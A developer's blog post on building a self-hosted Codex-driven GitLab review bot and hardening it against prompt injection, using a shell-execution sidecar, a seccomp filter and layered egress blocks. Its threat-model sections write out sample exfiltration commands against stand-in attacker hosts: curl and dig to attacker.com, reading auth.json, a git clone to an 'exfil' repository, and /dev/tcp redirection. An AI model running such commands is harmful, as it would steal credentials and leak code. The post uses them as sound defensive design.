DEV Community

Sleeyax
Sleeyax

Posted on

I built a custom Codex-powered code review bot for GitLab

A merge-request review by GitLab Duo Code Review costs us about $0.20. We're a small team of developers, so $1 for ~5 MR reviews gets expensive quickly.

We had a ChatGPT subscription on the team budget already. The obvious move was to point the subscription we paid for at the reviews we wanted to automate. But Duo wouldn't let me. It only accepts pay-per-token providers, runs a couple model generations behind, and is closed to the prompt and workflow tweaks I wanted.

So I built our team a replacement. It turned into a more interesting rabbit hole than I expected. About three days end to end (Friday plus the weekend): one day for a working proof of concept, one day for the security work, and two half-days for polish. The security work was the most fun part, because running Codex's danger-full-access mode on a locked-down OpenShift cluster turned out to be the only shape that worked there.

Driving Codex from a ChatGPT subscription

OpenAI's @openai/codex-sdk is the supported automation surface. The Codex CLI authenticates via ChatGPT OAuth and writes a refresh token to auth.json. The SDK lets you spawn the Rust codex binary in-process, hand it a prompt, and stream structured output back. That's the hook I needed.

Up front: using a ChatGPT subscription to power an always-on bot stretches the spirit of a plan sold for "interactive human use." OpenAI can change terms or detection heuristics any day. I picked it anyway and built in mitigations: one dedicated account per deployment, concurrency pinned to 1, rate-limit-aware retries, no parallel session fan-out.

What I considered first

Two OpenAI cookbook recipes got close.

  • secure_quality_gitlab runs as a CI job: pipeline starts, Codex executes, posts a CodeClimate JSON artifact, container goes away. Stateless, parallel-safe, billed per token through the OpenAI API.

  • build_code_review_with_codex_sdk is similar. Stateless codex exec per CI run, one-shot review, binary verdict.

Both are clean designs. Both also assume API-key billing and don't speak my problem. They can't resume a conversation when someone replies "actually, why?" on an inline comment. They re-pay tokens on every retry. They don't dedup across re-deliveries. They're the right shape if your constraint is "no infra to run." Mine was different: no per-token bill, threaded follow-ups.

I wanted something that:

  • runs as a service so it can carry conversation state,
  • runs on our existing ChatGPT seat,
  • self-hosts on the OpenShift cluster we already operate,
  • gets new Codex models the day OpenAI ships them.

So I did what any sane developer would do and decided to roll my own custom solution.

From webhook to inline comment

The pipeline is intentionally unexciting. Webhook in, jobs through a queue, one worker driving Codex, results posted back:

GitLab ──webhook──▶ Fastify ──▶ BullMQ (Redis) ──▶ Worker ──▶ codex-sdk
                       │                              │
                       └── verify X-Gitlab-Token      ├── gitbeaker REST
                                                      ├── MariaDB
                                                      └── git worktree
Enter fullscreen mode Exit fullscreen mode

Fastify takes the webhook, validates the shared-secret header with a constant-time comparison, classifies the event, and pushes a job onto a Redis-backed BullMQ queue. A single worker pops the job, prepares a worktree from a bare-clone cache, drives Codex against it, and posts the result back to GitLab as a summary comment plus inline discussions.

Concurrency is pinned to 1. There is exactly one Codex seat behind this thing, and OpenAI's per-account abuse heuristics are not a thing I want to discover the hard way. A single-flight mutex in the Codex client enforces it.

State lives in three places, each with one job:

  • Redis holds the BullMQ queue. Job IDs are deterministic (review-<projectId>-<mrIid>-<sha> and note-<projectId>-<mrIid>-<noteId>), so a re-delivered webhook is a no-op. Lose Redis, lose in-flight jobs. The next webhook re-enqueues.
  • MariaDB holds two tables: reviews (one row per (project_id, mr_iid, head_sha)) and threads (one row per bot-authored GitLab discussion_id). No diffs, no prompts, no LLM output ever land here. Just IDs and pointers. A DB leak tells an attacker which MRs were reviewed. The contents stay out of reach.
  • Codex sessions are owned by the Codex CLI and persisted as JSONL files at $CODEX_HOME/sessions/<id>.jsonl. The bot stores only the thread ID; the transcript lives on a PVC. Resume is one SDK call: codex.resumeThread(id).run(prompt).

That last split matters more than it looks. The most sensitive things the bot handles (full diffs, file contents Codex read, tool calls) never touch the database. They live in files on a single PVC, scoped by namespace RBAC.

How follow-ups work

When you reply on a bot comment with @mr-codex, the webhook arrives with a discussion_id. The classifier looks it up in threads. If it's ours, the worker pulls the linked codex_thread_id and calls codex.resumeThread(id).run(prompt). The Codex CLI loads the session JSONL, appends the new turn, and the model gets the full prior context for free.

Replies without @mr-codex are ignored. That's the rule that prevents bot-to-bot loops and stops the bot from chiming in on every reply to an inline thread.

Mentions outside a bot thread (@mr-codex what does this function do?) get a fresh Codex thread. The resulting discussion_id is still written to threads so subsequent replies on that discussion resume properly too.

The interesting part: making danger-full-access safe

Codex offers three sandbox modes: read-only, workspace-write (both bwrap-based), and danger-full-access (no sandbox).

I wanted bwrap. I couldn't have it.

bwrap requires unprivileged user namespaces (unshare(CLONE_NEWUSER)), which Docker's default seccomp profile blocks. On a normal Linux host you set seccomp=unconfined and move on. On OpenShift, the cluster's restricted-v2 SCC denies seccompProfile: Unconfined outright, and we have no path to a more permissive SCC. I tried rolling a Landlock-based shell wrapper (commit 35da003); same SCC block at runtime. Reverted in 21e04d8.

OpenAI's guidance for environments that can't run bwrap is bluntly stated in an issue comment: let the container be the security boundary. Translated to my situation: harden the pod, accept danger-full-access inside it.

The shape ends up looking like this:

┌─ bot pod ──────────────────────────────────────────────┐
│                                                        │
│  ┌─ container: bot ─────────────────────────────────┐  │
│  │  Node (Fastify)                                  │  │
│  │  codex-sdk → spawns `codex` Rust binary          │  │
│  │  bash/sh → /opt/exec-bin/bash-wrapper            │  │
│  │                                                  │  │
│  │  HTTPS_PROXY        → squid :3128                │  │
│  │  CODEX_HTTPS_PROXY  → squid :3129                │  │
│  │  resolv.conf        → 127.0.0.1:53               │  │
│  └──────┬─────────────────────┬─────────────────────┘  │
│         │ DNS :53             │ unix socket            │
│         ▼                     ▼ (/var/run/exec-sidecar)│
│  ┌─ container: ─────┐  ┌─ container: ──────────────┐   │
│  │  coredns sidecar │  │  exec-sidecar (native)    │   │
│  │  (native, :53)   │  │                           │   │
│  │                  │  │  exec-server runs         │   │
│  │  *.cluster.local │  │  `bash -lc <cmd>` in its  │   │
│  │    → resolve     │  │  own mount namespace.     │   │
│  │  anything else   │  │                           │   │
│  │    → NXDOMAIN    │  │  Mounts: worktrees PVC,   │   │
│  │                  │  │          socket emptyDir. │   │
│  └──────────────────┘  └───────────────────────────┘   │
│                                                        │
│  Pod-level mounts:                                     │
│   - /codex-home  PVC       → bot container only        │
│   - /worktrees   PVC       → bot + exec-sidecar        │
│   - /var/run/exec-sidecar  → bot + exec-sidecar        │
│                                                        │
└──────────┬───────────────────────────────────┬─────────┘
           │ HTTPS :3128 / :3129               │ in-cluster TCP
           │ (HTTPS_PROXY,                     │ (NetworkPolicy
           │  CODEX_HTTPS_PROXY)               │  allowlist only)
           ▼                                   ▼
┌─ egress-proxy pod ─────────────┐   ┌─ mariadb pod ──┐
│  squid (FQDN allowlist)        │   │  reviews,      │
│  :3128  bot port               │   │  threads       │
│    → chatgpt.com, gitlab.com   │   └────────────────┘
│  :3129  codex port             │
│    → api.openai.com,           │   ┌─ redis pod ────┐
│      auth.openai.com,          │   │  BullMQ queue  │
│      *.openai.com              │   └────────────────┘
└──────────────┬─────────────────┘
               ▼
        internet (chatgpt.com, gitlab.com, *.openai.com)
Enter fullscreen mode Exit fullscreen mode

A couple of controls are in place to hold this design together:

1. Keep credentials out of the Codex process tree

The GitLab service-account PAT is for the bot's own API calls (gitbeaker). Codex never needs it. The Codex SDK config scrubs bot-side env vars so they don't reach /proc/<codex-pid>/environ or any of its shell-tool subprocesses.

Same idea for git. When the worker prepares a worktree it clones with the authed URL as a transient argv, then sets the persisted remote to the plain form. Git is spawned with a minimal env (no GITLAB_SA_TOKEN) and -c credential.helper= to neutralize any user-level helper that would otherwise persist the URL-embedded PAT to ~/.git-credentials.

2. Move the shell tool into a sidecar that can't see the credentials

This is the part I'm most pleased with.

Codex's local_shell runs commands as bash -lc "<cmd>". The bot image rewrites /etc/passwd and prepends /opt/exec-bin/ to PATH so both Codex's getpwuid_r lookup and its which::which() fallback resolve bash and sh to a wrapper binary I wrote.

The wrapper does not evaluate the command. It forwards (argv, cwd, env) over a unix socket (/var/run/exec-sidecar/exec.sock, an emptyDir shared between the bot and the sidecar) to a long-running Rust exec-server running in a separate container.

The sidecar mounts the worktrees PVC (RW) and the socket. It does not mount codex-home. So a prompt-injected cat /codex-home/auth.json returns ENOENT. The Codex CLI itself stays in the bot container with full /codex-home access, so token refresh and session writes still work. The prompt-injection-target subprocess runs in a mount namespace where the credentials don't exist.

No extra capabilities, no seccomp changes at the container level, no SCC fight. Pure userspace mount-namespace isolation. Works under restricted-v2 because OpenShift already gave me two containers in one pod and I just used them.

3. Block the lateral path with seccomp

The sidecar idea has a hole. If a prompt-injected bash -lc inside the sidecar can do socket(AF_UNIX) + connect(/var/run/exec-sidecar/exec.sock) + send(<forged ExecRequest>), it can ask the exec-server to spawn arbitrary argv / cwd / env. The attacker already has a shell at that point, so this is a lateral move rather than a privilege escalation. What it gets them is a clean way to forge requests that masquerade as legitimate bot calls.

The fix is a seccomp BPF filter, compiled once at startup with seccompiler, that returns EACCES on any socket() whose first argument is AF_UNIX, and Allow for everything else. The exec-server installs it in Command::pre_exec for each spawned child via seccompiler::apply_filter, which sets PR_SET_NO_NEW_PRIVS and then calls the seccomp syscall. Both work without CAP_SYS_ADMIN. That's what lets this work under restricted-v2 when most sandboxing primitives don't.

The filter is inherited across execve(2), so any subprocess of the spawned bash (python, git, node, …) is also blocked. AF_INET / AF_INET6 are unaffected: HTTPS through the proxy still works, and the courier socket between the wrapper in the bot container and the exec-server stays open because the wrapper isn't subject to the filter.

4. Four layers of egress lockdown

The goal: a prompt-injected curl https://attacker.com (or fetch, or dig anything.attacker.com, or raw bash sockets, or node -e "fetch(...)") fails regardless of which library or runtime the model picks.

  • Layer 1: Pod-local CoreDNS sidecar. The bot pod's resolv.conf points at 127.0.0.1:53. CoreDNS resolves only *.cluster.local and PTR zones; everything else returns NXDOMAIN. Closes DNS exfiltration (dig hex-secret.attacker.com). The bot doesn't need external DNS. HTTP CONNECT proxies do upstream resolution on the client's behalf.
  • Layer 2: NetworkPolicy. The bot pod's only allowed 443 destination is the egress-proxy pod. In-cluster egress is restricted to MariaDB, Redis, and kube-dns. A compromised Codex turn cannot reach neighbor pods, the OpenShift API, or any internal Service.
  • Layer 3: Squid bot port (3128). The bot's own outbound HTTP/S routes here via HTTPS_PROXY. FQDN allowlist: chatgpt.com (the @mr-codex usage endpoint) and gitlab.com (gitbeaker). Anything else gets a 403. Native Node fetch doesn't auto-honor HTTPS_PROXY, so I wired it up explicitly via undici's EnvHttpProxyAgent.
  • Layer 4: Squid codex port (3129). The Codex subprocess gets a different HTTPS_PROXY. Allowlist is OpenAI only. Gitlab is deliberately excluded. A prompt-injected git clone https://gitlab.com/attacker/exfil from inside Codex fails: Codex literally cannot reach gitlab.com.

The reason squid lives in its own pod and not as a sidecar is worth calling out. NetworkPolicy operates at the pod level and does not see intra-pod loopback traffic. A sidecar squid would mean the bot pod's NetworkPolicy itself has to allow outbound to *.openai.com, chatgpt.com, gitlab.com so the sidecar can reach them. That same allowance lets the bot bypass the sidecar entirely with a direct curl. Splitting squid into its own pod lets the bot's NetworkPolicy deny all internet egress and force everything through a place where the FQDN allowlist actually binds.

Every realistic bypass path I could think of dies at one of the four layers, and the layers don't share failure modes. unset HTTPS_PROXY && curl …, node -e "fetch(…)", raw /dev/tcp/host/port redirection, dig hex-secret.attacker.com, git clone https://gitlab.com/attacker/exfil from inside Codex: each one gets caught somewhere different.

Things I deliberately didn't do

  • No retry-on-auth-failure loop. When the OAuth refresh token can no longer be refreshed, the bot edits the MR status comment, pauses the queue, and stops. A human re-seeds auth.json. There's no clever "hold jobs and retry hourly" path. Refresh failure means a credential rotation is needed; silent recovery would mostly mean the queue dies in interesting ways three days later.
  • No per-MR worker scaling. Concurrency stays at 1. Both because of OpenAI abuse heuristics and because one human reviewer's worth of feedback is fine for a team of our size. If we ever need to go faster, the lever is a shorter prompt or a better worktree cache.
  • No "secure local dev mode." docker-compose ships none of the network layers. Local dev is for iterating on bot features. Pretending otherwise would have meant maintaining a parallel security implementation that nobody actually exercises.

Honest trade-offs

This setup beats Duo on cost and customization. It loses on operational overhead: there's a Helm chart, a MariaDB, a Redis, an egress proxy, a CoreDNS sidecar, an exec-sidecar, and an auth.json rotation drill. If you don't have the cluster appetite, Duo's "tick a checkbox in project settings" experience is real value.

It also accepts ToS gray-area risk that Duo doesn't.


A note on availability. This project is closed source. I built it as a one-off internal tool for our team and never planned to publish it. If there's enough interest in seeing the code, drop a comment below or message me directly. I'll talk it over with the team and consider opening it up.

Top comments (0)